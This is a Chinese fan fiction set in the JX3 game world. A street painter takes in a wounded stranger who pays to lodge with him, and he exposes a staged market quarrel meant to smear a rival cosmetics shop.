《[剑网3]拾梅话三弄》
1. 梅花街1
三拾在家门口摊上事了。
那个人正侧着脸躺在地上。月光过于明亮,让人轻而易举就能看到他衣服上有大量的破损和深色痕迹。一声有气无力的咳嗽传来,有深色的点像颜料般洒在地面上。
三拾已经默默站在那看了好一会,地上那人的动静都比他多。
他不爱管闲事,每日早出晚归,出摊谋生就很累了,谁还想捡个麻烦回家呢?但万一这人撑不到被其他人发现,就这么死在自家门口,那还挺晦气的。
思虑一番后,三拾决定把人搬远点。只要远离自家门口,人能不能活,那他不管。
把身上的竹笈放下后,三拾拽起那人的手臂,右脚往后踩摆好姿势,深深吸气,身体猛得向后一仰,同时双手发力去拽——功夫全负有心人,丝毫没动。
是的,三拾只是一个柔弱的小画师,一双手平时就画画弹琴煮饭,搬过最重的东西是自己的画筐工具,这么大个人,实在太为难他了。
三拾没有放弃,他缓了缓力,摆好阵势重新尝试。
如果此时有路人经过,远远的看到有个人大晚上的搁那拔萝卜,这惊悚程度得报官。
最终,三拾忙活半日得到的结果是——大萝卜移动了不到两尺。
把三拾气得,蹲下身,一巴掌甩在那人脸上:“你倒是睡得好啊!”
没想到直接把人给拍醒了。
那人惊醒,下意识抓住了三拾“行凶”的手。四目相对,月色明亮,那人的瞳孔竟是一对流光的琥珀。
是清冷的月光,还是那金色的瞳孔,把声音都吸走了?三拾从没觉得街上如此的寂静过。
直到空气重新钻进肺部,三拾回过神来,挣开手径直站起身子。
“醒了正好。”三拾转动着还残留余温的手腕说道。
那男子感到身上的伤似乎撕裂得更严重了,不禁皱起眉头,金色的双眼充满了警惕:“你是来取我命的?”
好你个家伙,眼睛这么好看不会是拿眼瞎换的吧?我只是没想救你,你却当我要杀你?
“阁下与谁有怨有仇都与我无关,只是你挡我家门口了,请回吧,别死我门口就行,告辞。”三拾懒得再回头看,背起竹笈抬脚进屋,并迅速把外门锁上。
开口就问别人是不是来取他命的,一听就不是什么正经人家。三拾只是一个柔弱小画师,只想安安静静地讨生活,奇奇怪怪的人还是远离吧。
事与愿违,三拾睁开眼,转头就看到那人正坐在自家的桌子前,在抹药打绷带。
三拾起身坐在床边,额前的两缕青丝随着他的动作摆动。那人听到动静,抬头看过来。许是刚睡醒,三拾眼皮耷拉着,脸色有些苍白,面无表情呆呆地看着那个私闯他家的男子,脑子似乎还没反应得过来。
这人畜无害的样子,真的和昨晚那个冷漠无情转身就离开的男人是同一个人吗?某人想。
这么干看着也不是个事,某人决定率先打破局面:“早上好。”
好你个头好,干什么?天降猛男经过我同意了吗?
“你怎么进来的?”三拾开口,喉咙有点干。
“翻墙啊。”
嗯,伤成那样还能翻墙,说话理不直但气壮,身体素质挺好。
“私闯民宅,你是自己去天策府自首,还是我去喊天策府的来抓你?”
猛男显然是早就想好了私闯民宅的后果,他放下手中的药,在腰间佩囊里摸索了一把,掏出一个金块丢进三拾怀里。
“方便我昨夜借宿吗?”
给钱啊,那好说,我同意猛男天降。
三拾点头:“那你上完药后就自行离开吧。”
猛男又掏出两个金元宝放桌上。
“方便借住几日吗?”
嗐!你早说嘛。
“方便。阁下怎么称呼?”三拾起身走到桌边坐下,拿起那两个金元宝面无表情装进衣袋里,并顺手倒了两杯水。
壮男突然面露虔诚:“圣火昭昭,圣光耀耀。大漠之子,姓名由光明所赐。日赐我以罚,月赐我以罪,我叫……”
莫名其妙。突然摆这么个表情我还以为是什么不能说的名字,听了被灭口那种。
“好的,你叫二郎。”三拾打断。
“不是,我叫……”
“对,你叫二郎。”三拾没由来地,不想听那个名字。
“我不叫……”
“嗯,二郎。”三拾不听。
“……是的,我叫二郎。”二郎点头。
抬头看了一眼窗外,天色将将放明,新阳尚未冒头,勤劳的三拾师傅得准备出门了。
三拾懒得避嫌,当着二郎的面开始穿衣梳发洗漱。且不说反正都是男的,他还穿着小衣,二郎自己那身衣服都露这露那的,他有啥好忌讳的。
倒是二郎在后边托着腮,看得津津有味,药也不抹了。
三拾不经意瞥了一眼,心里直犯糊。
不是,这哥们不会有什么奇怪癖好吧?喜欢看男人穿衣服?
直到三拾背起竹笈,二郎才问道:“你这是要去哪?”
两人仅是金钱关系,高冷小画师三拾表示——干这一行,最忌讳的就是和顾客成为好友——指借宿。
“江湖上的事情少打听,知道的越多……”就越多。三拾及时闭嘴,头也不回迈步出门了。
这人出手就给了两个金元宝,家里那些破木头旧茶杯没值几个钱,不怕被盗。今日是赶集日,还是早点去占个好位置更重要。
私塾的平夫子约了今日来取画,梁府三小姐约的画本还差一点收尾,街头的绣娘要带儿子来画像。事情很多,银两很少,三拾很苦,但还是要好好出摊。
即便天还没全亮,也已经有不少人打着哈欠在支摊了。三拾熟练地在一个拐角处转弯,踩踏着走过无数次的街道,最后停在一家吃食摊前。
摊主正摆好高低不齐的桌椅,转身看到来人,笑容先声音早一步出现。
“三拾来啦。”
“刘婶早。”
刘婶扯过搭在肩上的抹布擦了擦手,三拾随着她的动作看向她的手,粗大的指节与厚厚的茧都说明了她的勤奋。
“早早早,今日想吃什么?我今日磨了豆,有豆花和豆浆。”
“今日得早些去占位置,不坐下了,装两个包子拿着走吧。”
“好嘞~”
蒸笼盖被掀开,白雾与香气争先恐后地溢出,向三拾扑去。刘婶麻利地装好包子,又从旁边的锅里捞起个大鸡蛋:“婶请你吃鸡蛋,还是长身子的年纪呢,多
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吃点!”
“谢谢刘婶。”三拾当然不再是长身子的年纪,他笑笑接过食物,再把钱放在刘婶手里。
拎着烫手的早饭,三拾在街上扫望一圈,挑了个相对显眼的位置。从竹笈中拿出各种工具,把画卷和画具整理摆好后,三拾才坐下吃起早饭。
皮薄馅大的肉包子,一口咬下去,面皮柔软细腻,肉汁咸香鲜美,瞬间就安抚住了躁动的肠胃。每次吃刘婶做的食物,三拾都忍不住去羡慕刘婶的儿子,他也好想喊她娘,喊祖母也行,只要能一直免费吃到那么好吃的东西,喊太姥姥也不是不行。
说到刘婶的儿子,听说是去雁门关当兵了,很久都不能回来一趟。嗐,太可惜了,不然也可以拜个结拜兄弟,一起喊娘……不是,一起吃饭。
乱七八糟的想法随着最后一口鸡蛋被吞进肚子里,三拾掏出手帕擦了擦嘴。还是先想想梁三小姐的画本要如何结尾吧。
三拾一边磨砚一边构思画面,拿起画笔迟迟没有下手,笔杆一下一下地戳着下巴,忽而灵光一闪,三拾迅速进入状态。
随着他一笔一画勾勒,天色也越来越亮,人越来越多,耳边的声音也逐渐嘈杂。
不是,这也太嘈杂了吧,跟直接在耳边吼有什么差别?
三拾皱着眉抬头看向声音来源,还就是旁边的摊位。他刚画得入迷,这会转头一看,周围站满了人,大伙看热闹又不敢走太近,就隔着三拾的摊旁站着,把三拾也围进了热闹圈里。
一名体格强壮的男子正背对着三拾,抱着手在嚷嚷着什么。
什么瓜?我来看看。
三拾伸了伸脖子,绕过那一堵墙般的身躯看过去。对面是一名瘦弱的女子。无论体型还是气势,男子都是她的两倍。
“这位大爷,街上一直都是讲的先来后到,这怎么能算我抢了您的位置呢?”
哦,来找茬的。
三拾细看女子的脸,见过,但不太熟悉,是今日刚来摆摊的?摊位上那些瓶瓶盒盒,似乎是胭脂一类的东西。
男子从喉咙里挤出一个音调上扬的“呃”,伸展开手臂,超不经意地展示他硕大的手臂肌肉,并把手指关节按得咯咯响。
好没新意的威胁手段。
“你的意思,是我为难你咯?”
这不是挺有自知自明的嘛。
女子双手握在胸前,身子颤抖着:“不不……是我的不对,我这就走……”她蹲下去捡被扔在地上的胭脂,时不时抽泣一声,掏出手帕拭擦眼角。
美人垂泪,围观群众谁看了不动容,纷纷对男子开始言语指责。只有口头攻击没有动手,说明那肌肉还是很有威慑力的。
男子没理会周围的声音,板着脸催促:“搞快点!赶紧走!”
“慢着!我看该走的人另有其人!”
哦?转机来了?
三拾也被那清脆的声音吸引了注意,转而看向后方。只见那边的群众纷纷退开,让出了一条小道,一名粉衣女子隆重登场。
“既然是先来后到的规矩,你这般蛮缠简直无理取闹!”
男子皱眉瞪眼看向来人:“姑娘,我劝你别多管闲事,否则我这拳头,可不长眼!”
粉衣女子轻哼一声,自身后拔出双剑,双手挽了个剑花,剑指恶人。
2. 梅花街2
“本姑娘乃七秀坊弟子锦菱,我秀坊弟子自当锄强扶弱,先来后到的道理三岁小孩都懂,你不懂那本姑娘便教教你,打到你懂!”
下一秒,锦菱便提剑刺来。
男子大惊,三拾大惊,群众大惊。谁都没想到这姑娘说打就打,都不给反应的机会。男子不亏是习武之人,打架经验丰富,当即一个后退躲避。
坏了冲我来的!
三拾眼急手快,一把扯过摆在旁边的画架,堪堪躲过了被男子碰倒的命运。
男子还没来得及站稳,下一剑又来了!
三拾也顾不上东南西北了,一手抱起竹笈,一手抄起工具,往人群里躲。
锦菱脚步轻盈,一转一跳翩翩起舞,剑意却不甚凌人,道道剑光直逼对手。看得围观群众都心惊胆颤,怕被误伤,纷纷往后退。
进攻又急又猛,男子绕着圈躲避,在再一次绕到三拾面前时,锦菱的剑先一步架在了男子的脖子上,男子麻利一跪:“女侠饶命!”
不是,你这求饶得也太快了吧?你倒是出一招啊。
锦菱也没是没想到对方突然就跪下了,眉眼微微张大:“啊这么弱?还以为能酣战一场,原来是虚张声势的东西。”锦菱不屑地呸了一声。
没能打爽你还挺失望的?
“哼,跟她道歉,诚恳点!”锦菱双眼盯着男子,用下巴指了指瘦弱女子。
“是、是……”男子转向刚刚还被他唬哭的女子,连连磕头,“对不住,都是我的错,再也不敢了,请你原谅我……”
还挺熟练的,看来平时没少磕头。
锦菱也看向瘦弱女子,用眼神询问对方的意愿。有人为自己出头,瘦弱女子安心了些,轻轻地点了点头。
“虽然人家姑娘原谅了你,但仗着自己有点武力就欺行霸市,凶神恶煞,想来也是地痞流氓没有学好!跟我走一趟天策府,吃吃牢饭你才好长记性!”
锦菱抓住男子的衣领,像拎鸡崽似的把人从地上提溜起来。
好姑娘,简直正义得发光啊。
瘦弱女子张了张嘴,露出一丝放松的笑容,往前走两步挽住了锦菱的手,说道:“算了罢,看此人着装形态,应是某家的护卫,我与他并不相识,也没有利益冲突,想来他也不是要故意为难我的。”特意加重了“故意”两字的读音。
这倒是新鲜说法。
“你的意思是,他是受人指使的?”锦菱立刻就领悟了女子的言外之意,手一紧,猛地扯住男子的衣领往下拉,男子不得不把头往下低,“说!是谁让你来的?”
“是……是……”男子支吾半天,并没有说出点什么。
瘦弱女子握住了锦菱的手,轻轻地去掰那紧扯住布料的手,安抚道:“姑娘莫急,他受人钱财,自然是要咬舌闭嘴的,你这样逼他把雇主说出来,以后可就没人敢雇他办事了,这是绝了他的财路,他以后要怎么生活呢?”
锦菱迷糊了,她在秀坊被师父和姐妹们宠着长大,一直都相信好人有好报,恶人要严惩,这突然跟她说恶人是被逼的,恶人也只是为了生活,恶人不是恶人,不能严惩。
没等锦菱思考出个所以然,女子继续说道:“其实,也不需要逼问他,只要想想我这是挡了谁的财路,自然也就明白,到底是谁不想让我在此买卖了。”
此话一完,围观的群众们可就来劲了,出嘴不出力,他们最擅长了。
“会挡了谁的财路?”
“这姑娘卖的是胭脂香粉吧?”
“这附近有其他人也卖胭脂香粉吗?”
“胭脂香粉……难道说……”
“诶?你可是想到了谁?说来听听。”
“这……不好说啊。”
“瞧你小子装模做样的,快说快说,让大伙也听听。”
“就是……街头的香玉斋啊!”
“香玉斋?叶掌柜的香玉斋?”
“这……叶掌柜不像是那种人啊。”
“人心隔肚皮,这可说不准噢。”
“等等,这人不就是叶家的护卫吗?你提叶掌柜我才想起见过此人。”
“什么?当真是叶家护卫?”
“当真!我见过他跟在叶掌柜身后进出。”
“这……真没想到叶掌柜是这种人。”
“这叶掌柜竟跟一个小女子计较,这算什么男人?”
“这事关生意钱财,管什么男人女人,挡了财就是敌人。”
众人讨论越说越大声,越说越来劲,那些话自然也都落入了锦菱耳朵里。
“叶掌柜是吧?带路!本姑娘倒要看看,这叶掌柜是何方神圣。”锦菱又顺手一把抓起男子的衣领,迈步就走。
“慢着。”
一个新鲜的声音冒头,打断了锦菱的步伐。
大伙视线齐刷刷地转,就见三拾从人群中走出来。
锦菱还维持着迈开步伐的姿势,她上下打量了一番三拾,疑惑问道:“你有何事?”
三拾面无表情,一手捧着纸笔,一手干脆利落往地面一指:
“赔钱!”
众人顺着他指示的方向看去,这才留意到,地上早已一片狼藉。
刚被男子打落在地上的胭脂粉没来得及处理干净,随着他和锦菱来回窜的身影,早已给地面化上了特色妆容。而隔壁的遭殃小画摊,一些白纸张七零八落地散落在地上,上面也毫不意外地印上了红脚印,画架倒在地上,还有各种已经断成了两截的画具画笔。
男子脑海中回忆闪过,刚才被打的时候只顾着到处乱窜,好像是又碰又踩了很多东西……他一瞪眼,从喉咙里挤出一声音调上扬的呃:“你的意思,是要我赔钱咯?”
不是,你这人说话只会恐吓和求饶吗?
锦菱手往下一用力,衣领布边立马就勒住了男子的后脖,直接给男子把嘴也勒上了。在锦菱的注视下,男子不情不愿地摸索身上的衣袋,摸了半日,最后掏出来两个铜板。
不是,哥们有点可怜了,我都想给你两个铜板了。
三拾看向锦菱:“不够。”
锦菱双眼又大又圆,无辜地眨啊眨:“看我干什么?谁踩坏的找谁啊。”
“你刚没踩到吗?”
“本姑娘身姿灵活,打架的时候会自主避让所有物体。”锦菱小巧的鼻子翘了翘,语气十分得意。
“那他是不是为了躲避你的剑招,才碰倒我的东西?”
“是啊。”
“那你是不是一句话没说,突然就刺剑,让人措不及防?”
“是啊,打架也讲究战术的,就是要打得对方措手不及。”
“那你是不是眼里只想着打架,根本不顾周围人的死活?”
“是……你、你瞎说!本姑娘又没有伤害到其他人!”
“没伤害到其他人?不,不,你伤害到我了,”三拾捂住自己的胸口,痛心疾首,开
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始表演,“我的画具都被毁坏了,我拿什么来画画?我只是一个柔弱小画师,画不了画,我就赚不了钱,没有钱,我就吃不了饭,没有饭,我就会饿死。而你却说,你没有伤害到其他人?天地良心啊!你简直是虾仁饭!”
锦菱被三拾突然嚎这嗓子给吓了个激灵,更被他说的话羞红了脸,急得连连摆手。
“我我我不是我没有!我不是虾仁饭!”
初入江湖的小姑娘就是不禁吓。
话已至此,三拾收起表情,向锦菱伸手:“赔钱!”
锦菱心虚地去摸自己的钱袋,手碰到腰间却一愣,这才想起钱袋昨日就被扒手顺走了,顿时脑袋发懵。出门前还跟师姐嚷嚷着要行侠仗义扬名天下,这下要扬名监狱了。
“我……没钱……”
嗐,可怜姑娘眼睛都红了,这倒显得我是坏人了。
“那你去找幕后指使讨钱吧。”
三拾只是一个柔弱小画师,喊着侠啊义啊冲上去真的会被打死的,所以他不爱管闲事,但这回自己可是受害者,讨回点损失是应该的!
听到三拾没有紧抓她不放的意思,锦菱赶紧表态:“我这就去找那叶掌柜!”风风火火,一副视死如归的表情。
“好女侠,你找叶掌柜可没用,”三拾抬手指向锦菱的身后,“跟她讨吧。”
众人的视线,随着三拾的手指,齐刷刷地再一转,落在了瘦弱女子身上。
“是本姑娘和这个绣花枕头踩坏了你的东西,与她无关,一人做事一人当,我会讨到钱回来的。”
“好女侠,我的意思是,她才是幕后指使啊。”
锦菱沉浸在自己敢作敢当的情绪里,还想说点什么,突然反应过来三拾说了一句什么话,愣住了。
像一滴水落进了沸腾的油锅里,“滋啦”一声,炸开了围观群众的嘴。
“什么?”
“三拾你可别乱说啊,人家姑娘明明是受害者。”
“这不明摆着是叶掌柜的黑手吗,你这么说可有什么证据?”
“三拾小师傅,你不会是叶掌柜的人吧?”
“三拾,快说说你的看法!爱听,多说,细说!”
三拾经常在这一片摆摊,时间久了,和其他摊位的人都互相认识。相反,其实大家都不认识这位新来的胭脂摊老板。但她今日刚出摊就被人找茬,都是赚点小钱养家糊口的普通人,换位思考,谁不同情呢?
女子面对突如其来的指责,显然很无措,她双手紧握在胸前,微微摇着头,眼角泛红:“这位郎君,小女子经营点小生意不容易,还请郎君不要辱人清白。”
“哦,是我不严谨了,你不是幕后指使。”三拾挠了挠脸,若有所思,“你也只是听雇主之言行事罢了。”
瘦弱女子颤抖着唇,无助地看向锦菱,又看向三拾,下一秒眼泪就滑落,声音哽咽道:“小女子初来乍到不懂事,可是无意间做了什么事惹郎君不高兴了?郎君为何要如此辱我?”
正义女侠锦菱,看到女子落泪心都碎了,皱着眉握住女子的手忙说“姑娘莫急”,但三拾那信誓旦旦胸有成竹的样子,又让她不得不在意:“空口无凭,你可有证据?”
“我没有证据。”三拾坦然说道,“但你可以去私塾找一位大概有这么高,乳名叫二瓜的孩子。”
听到“二瓜”两字,瘦弱女子和壮男皆是表情一滞。
这反应,看来错不了。
3. 梅花街3
锦菱不解问道:“二瓜?找孩子做什么?难道你想说是一个孩子在背后指使的吗?”
“当然不是,孩子哪懂借刀杀人啊,只是——孩子喊这俩人作爹娘的。”
三拾平淡地丢出一句话,场面却又开始炸锅了。锦菱震惊,群众也震惊。
女子的脸色变得阴沉,她紧咬嘴唇,用疼痛逼自己迅速冷静。
“所以说,这两人本就是夫妻,演了这么一场戏给大家看。”三拾说道。
“为什么?”
“她刚才不是说了嘛,只要想想这是挡了谁的财路,自然也就知道了。”
锦菱刚来到梅花街,不知道那些恩怨情仇弯弯绕绕,但没关系,有机智的群众品出来了。
“我知道了!是金掌柜!”
三拾眉头一挑,对这位机智的群众表示认可,手一抬,示意那位群众接着说。
被三拾这么一请示,那位群众顿时起范儿,故作玄虚清了清嗓子,作出一副说书先生的模样,转身面向群众说道:“此事正是针对香玉斋叶掌柜的阴谋啊各位!你们说,对商人而言,什么最重要?”
不是,怎么还有提问环节?真起范啊。
其他群众面面相觑,谁都没有回答。
机智群众只好自己回答:“名誉声望最重要啊!名誉受了损,谁还会跟你做生意?方才此两人一来一回,大伙都以为是叶掌柜欺行霸市雇人捣乱,你们说,叶掌柜的名誉声望是不是受损了?”
群众纷纷点头应和,“是啊”、“对”、“确实如此”。
“那么,谁最希望叶掌柜的声望受损呢?”
“哎别搁这卖关子了,赶紧说!”
机智群众对这些急性子不满地啧啧两声:“当然是叶掌柜的竞争对手——隔壁街同为胭脂铺的盈香楼金掌柜啊!”
此话说完,众人了然,七嘴八舌地开始骂金掌柜不地道。
锦菱有点无措,一时不知道该作什么反应,只能呆呆地问出一句:“他们说的是真的吗?”
瘦弱女子面无表情地抽回双手,双眼盯着三拾:“你是怎么知道我二人关系的?”
事实正如机智群众所言,是针对叶掌柜的阴谋。瘦弱女子很不甘心,这借刀杀人的法子本是天衣无缝,以退为进,就算去到叶掌柜面前,只要丈夫一口咬定就是叶掌柜派他去找茬的,叶掌柜再怎么否认,群众都只会认为是在狡辩。
但谁能想到现场居然有一个人知道二者的夫妻关系呢?
女子是金家老夫人的仆人,聪明伶俐又勤奋,十分得老夫人赏识,即使成亲生子了,平日也在金家干活,很少出街。而丈夫是叶家的护卫,正因为两家是竞争对手的关系,二人平日都会避嫌,尽量不在外头碰面,一家三口也不住在梅花街,除了金老夫人,根本没什么人知道他俩其实是夫妻。
金掌柜跟母亲谈话时无意间知道了这么件事,便威胁加利诱,说服女子为他办这件事,事成后自会给丰厚报酬,让一家子去别的地方安居。
“你不否认吗?”三拾好奇问道,他还挺想知道女子要如何反击的。
“……以这姑娘的性格,我否认了,她会直接去找孩子探个明白吧。孩子什么都不知道,我不能当着他的面,否认他是我的孩子。”事情被戳穿后,女子反而释然了,不再装弱,脸上显出几分精明。
既然人家都坦诚了,三拾也不掩着:“前几日,私塾的平夫子想要一副能挂在学堂督促学生们的画,邀我去了一趟私塾,走的时候,我正好看到你去给二瓜送饭。”
“这只能说明我跟二瓜有关系,我问的是我俩夫妻之间的关系。”
“我不知道啊,”三拾无辜地眨了眨眼,“我只是看他刚刚下跪求饶过于熟练,猜测了一番,用二瓜诈你们的,没想到真让我猜对了。”
三拾过于坦诚的答复,让女子呆滞了。
男子倒是反应了过来,恼羞成怒:“你诈我们?!”说罢便抡起拳头,向三拾冲来。
锦菱从身后抓住他胳膊,手腕发力把人一转,另一手迅速拔剑。男子怎么说也是个护卫,实力并不弱,方才为了演戏才一直躲闪直接求饶,现在放手去打,双方便打得有来有回。
“算了阿成,停手吧,回家了。”
男子听罢,不带犹豫一秒,立马就收手,回到女子身边,陪着女子开始收拾东西。周遭都是嘲讽与谩骂的声音,两人并没有理会。女子忽而抬头对丈夫一笑:“事情搞砸了,金少爷会放过我们吗?要不我们等会去接上二瓜就赶紧跑路吧?”
男子手头的动作停了下来,认真思索了一会:“那二瓜以后就吃不到陈婆婆的瓜糖了,待会咱去多买一些,带路上吃吧。”,女子点点头:“还有王记的花生酥和红豆糕,都买一些吧。”
两人微笑着,轻声细语地聊着家常话,似乎只是一对平凡夫妻的平凡一天。
不对,确实只是一对平凡的夫妻,平凡到让锦菱难以接受。瓜吃完了,围观群众过完嘴瘾散了便散了,锦菱不爽啊!
本以为是行侠仗义,谁知道她是被借来杀人的那把刀。想跟人打一架出出气,那护卫又不鸟她,眼里只有自己妻子。找女子说理?人家是收钱办事,说理反倒显得自己不讲理了。去找幕后主使金掌柜吧?又没什么必要,阴谋被戳穿了,叶掌柜没有损失,反而是金掌柜自己遭反噬。
最后,锦菱只是愤愤地喊出一声——“赔钱!”
女子回头看她一眼,从袖子里掏出两片金叶子,交到锦菱手上:“好姑娘,抱歉了。”说完,便挽着男子的手,头也不回离开了。
锦菱一直目送着两人的背影,不知道在想什么,但神情十分低落。三拾走上前,理直气壮地从锦菱手里拿走金叶子。
“感谢女侠替我把钱要回来。”
锦菱回过神,不好意思地挠了挠头,说道:“不用谢,说来确实是我打架的时候不管不顾,才害得你的东西被踩坏。”
三拾没有再回话,这种刚出来行走江湖的愣头青小姑娘,江湖自会教她成长。他低头看了一眼被踩断的画具,神情不见惋惜,开始弯腰收拾地上的东西。
都是用了很久的老工具了,前几日正考虑去购置一批新的备用,这下刚好有人帮忙付钱了,美得很。
锦菱见状也赶紧帮着收拾。还没捡两张纸,肚肚就很不给面子地打雷了,锦菱小脸涨红。三拾瞥了她一眼,刚刚看她摸空钱袋的动作就估摸着是被人扒走了,方才又不懂得讹那夫妻俩一笔。
嗐,还怪可怜的。
三拾直起身,抬手指了指:“那个路口往左拐,走过约二十尺再右拐,有一家吃食摊,摊主叫刘婶,你说是三拾让你过去的,给她打打下手可以蹭口饭吃。”
锦菱憋着一张红脸,嘴巴张了张,欲言又止,最后面子还是败给了饥饿,抬手作揖:“多谢告知,本姑娘以后定会报答!”
三拾点了点头,手一摆,示意她快走。
锦菱走到路口,不经意回头看了一眼,三拾已经开始接着作画了。感觉好像哪里怪怪的,但又说不出来。锦菱抠了抠脑门。算了,先找口饭吃比较重要。
小姑娘说不出来的奇怪,躲在远处的二郎说得出来。
他路过这条街看到了三拾,一开始是好奇三拾在干什么,就躲在旁边看着。后面发生的一系列事情二郎都看在眼里,从男子“找茬”,看到锦菱离开。
二郎看到,三拾在躲避两人第一次打斗的时候,是如何不动声色地掏出一些画具,扔在男子的躲避路线上。其他人的注意力都被打架的两人吸引了,没有人知道那些画具是被故意洒在那的,他甚至是有选择性的挑了挑,不是乱抓一把。
这行为看得二郎挑眉,思索了一番,最终得出结论:是讹诈!奸诈的小画师!
接下来半日,三拾按照原本计划忙活着,还顺带接了两个新活。
夜幕降临,忙碌了一天的三师傅终于躺下。柔软的棉被散发着淡淡的皂角味,温暖又舒适。
如果旁边没有躺着另一个人就好了。
三拾睁开眼。
“你为什么在我的床上?”
二郎扯了扯被子,给自己盖上一半。
“你这就一张床,我不睡这我睡哪?”
“院子里有张躺椅,你去那里睡。”
“那椅子又破又旧硌得很,我现在带着伤,需要好好休息,我要睡床。”
“两个金元宝只是让你借住我家,睡床,那是另外的价格。”
二郎摸了摸干瘪的佩囊。
“大家相识一场便是兄弟,一起睡几天又不会掉块肉,兄弟怎么忍心看我这一身伤还得委屈睡躺椅呢,对吧兄弟?”二郎挤出一个委屈巴巴的表情,满眼期待看着三拾。
一个胸肌能扇他嘴巴子的猛男对着他装可怜,三拾感觉太阳穴突突的。跟可怜猛男对视了五秒后,推开被子,起身,拿起放在床边的琴。
二郎不明所以,但表情很快就从疑惑转为欣慰——这就是文人吗?睡觉前还要弹琴助眠,好雅兴!
“当噔——”
只听闻一阵短促的琴音,二郎就看着
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自己的手脚突然一通乱舞,屁股自个儿往床边挪,双腿一伸就站在地上,脚步一抬就往门边上走。
“诶?诶诶诶?诶诶诶诶诶诶???”
三拾抱着琴跟在二郎身后,听他一路诶着迈出门口,立马就把门给锁上。
“我们只是金钱交易,别乱攀关系。”
回到床边,放好琴,三拾重新铺好了被子。
说来也奇怪,二郎给的钱都够他去住很好的客栈了,他何必搁这破屋子待着?照他昨日那要死的模样,他不会是在被人追杀吧?万一把仇人招到家里来,那可倒霉。
算了,明日再说。
三拾合上眼皮,深吸一口气,把杂念随着气缓缓呼出,安稳入眠。
第二日被人一巴掌呼醒。
怨气蹭蹭地冒,三拾扒拉开搭在自己脸上那只手,缓慢转头看向手的主人。
睡得挺香啊臭小子。
三拾坐起身子,深呼吸一口,举起手活动了一下手指,把全身的力气转到手上,对准那张好看的脸,不留余力甩出去。
“啪!”
二郎猛得惊醒,金色的瞳孔收缩变小,皱着眉板着脸,神情警惕如临大敌。在跟三拾对视上后,一秒变脸,只剩迷茫。
“怎么了?”感觉耳朵嗡嗡的,半边脸火辣火辣,“你怎么醒了?不对,我怎么没醒?”
三拾捏了捏发麻的手,看着二郎脸上那逐渐泛红的巴掌印:“你怎么进来的?”
二郎迷迷瞪瞪:“撬锁不难啊。”
三拾默默看着二郎,露出一个微笑。二郎愣住,用力闭上眼晃了晃脑袋,再睁开眼,三拾已经起身了,并且掏琴。
“当噔——”
二郎迷茫,二郎起身,二郎猛戳自己伤口。
“嘶疼!”
“疼疼疼疼疼!疼疼疼我错了我错了啊疼!”
二郎已经换了一身衣服,没有破损,也没有血迹,干干净净。但是依然露这露那,伤口也彰显无遗。
你穿这两条破布还不如不穿。
“疼疼饶命!三拾大人饶命!我不敢了!”
三拾停下翻飞的手指,深呼吸,起床气总算散了大半。
看着下半身围着半床被子,上半身相当于没穿,瘪着嘴委屈巴巴宛如被辜负的怨妇般坐在床上的二郎,三拾脑海中突然闪过——欺负了人家就要负责。
什么东西???好可怕!!!!
三拾用力晃了晃脑袋,把奇奇怪怪的念头甩出脑海,握拳抵住嘴边清咳一声,以掩饰自己莫名其妙的心虚和尴尬。
“没记错的话,我并没有跟你说过我的名字?”
二郎本来还迷瞪的脑子一下子清醒了,抠了抠脑壳,目移:
“额……我昨日上街路过你摊位的时候,听到别人这么喊你。”
事实确实如此。
但二郎绝对不会说,自己因为好奇就躲旁边看了一会。
看到三拾讹诈别人后觉得很有意思,再看了一会。
看到被无理顾客刁难的三拾,强忍着不翻白眼还微笑回话,好笑又可怜,有意思,再看了一会。
就这么看一会再看一会,看到三拾开始收摊了,二郎才想起自己上街本来是要去干嘛的。
“既然你能出门走动了,那你正好去找个客栈,舒舒服服休息,不用挤在我这小破屋里。”
二郎一愣,手撑着床爬到床沿,抬头看着三拾:“你是不是想赶我走?我给了借住费的!”一副被狠心主人抛弃的小猫咪模样,可怜又无助。如果他有尾巴,估计这会是夹着尾巴在说话。
三拾像突然被雷电劈了一样,脑袋麻麻的,心有点慌,感觉自己像个抛妻弃子的负心汉,良心受到了谴责。
虽然他已经很久没有良心了。
“我这是关心你,你在客栈可以自己睡一张床,能好好恢复。”
场面话,三拾一点都不关心二郎是死是活,只要不是死在他家,他只关心自己会不会受到牵连,被二郎的仇家找上门。
但二郎信了,尾巴翘起来了。
“兄弟你真好,这么关心我。”
二郎咧嘴笑了,眉眼眯了起来。
太阳升起,阳光透过窗户打进来,照到二郎的脸上,也照到了屋里的角角落落。
有点耀眼。三拾想。
“但我的钱全都给你了,我没钱住客栈。”
有点碍眼。三拾想。
算了,两个金元宝可抵自己画好——多幅画了,天降横财总是要伴随一些风险的。
4. 水卞1
说到画,三拾想起今日是准备去购置一批新画具的,昨晚看了一眼纸张颜料都所剩无多了,正好一并购置了。
懒得再搭理床上那只猫,三拾开始穿衣服。看到三拾穿衣服,二郎可来劲了,盘腿坐着,手肘支在大腿上托着腮,脸上带着微微笑意,仿佛在欣赏什么美图。
这画面怎么怪怪的?三拾心里不由得捏了一把汗。
不是,这家伙不会真的喜欢看男人穿衣服吧?
三拾双手还在绑衣带,面无表情瞥了一眼:“所以,你是准备再给我多少银两?”
二郎眨巴眨巴眼睛:“我的钱都给你了啊。”
“那你现在为什么还在我的床上?”
真把这家当自己地盘了?臭猫!
“哦哦哦。”二郎反应过来,赶紧爬下床,捏着手指拘谨地站在床边,眼睛一直瞄着三拾,像个做了坏事被批评但下次还敢的心虚小猫。小猫过于强壮,这既视感实在很奇怪。
“我不在家的时候也不许爬上我的床。”
二郎乖巧点头。
二郎送人出门。
二郎挥手告别。
二郎躺回床上。
小猫翻身做主人!
三拾这边刚在拐角转弯,远远就看见刘婶的摊子被一群人给围了。
不是吧?今日轮到刘婶被人找茬了?
三拾紧忙走快两步,往人群中挤过身去定眼一看。
哦,都是来看美女的。
锦菱一身粉衣秀裙,巴掌小脸不施脂粉也生动明媚。
美人端汤,秀色可餐。
“三拾来啦,婶这会有点忙不过来,你等会啊。”刘婶抬头笑盈盈地打了招呼,双手却没停下。
只见她左手抓一把擀面条放进沸水中,右手掌勺舀半碗味汤,加入调料,半会功夫面条就已经熟了,麻利捞起面条,微微侧身从另一个锅里舀上满满一勺肉臊子,撒上一把葱花,一碗物美价廉的肉臊面就出锅了。
汤清油亮,味香浓郁,闻闻味道便让人食指大动。
锦菱就着湿布防烫,小心翼翼把面端上桌,再转身收拾用完餐的桌面。动作虽慢但每一件小事都认真做好,满脸笑容随叫随到,毫无大小姐姿态。三拾还以为她十指不沾阳春水,蹭顿饭就走了,没想到她还挺享受的样子。
三拾不禁去想——她的大袖子真的不会抚进汤里吗?!
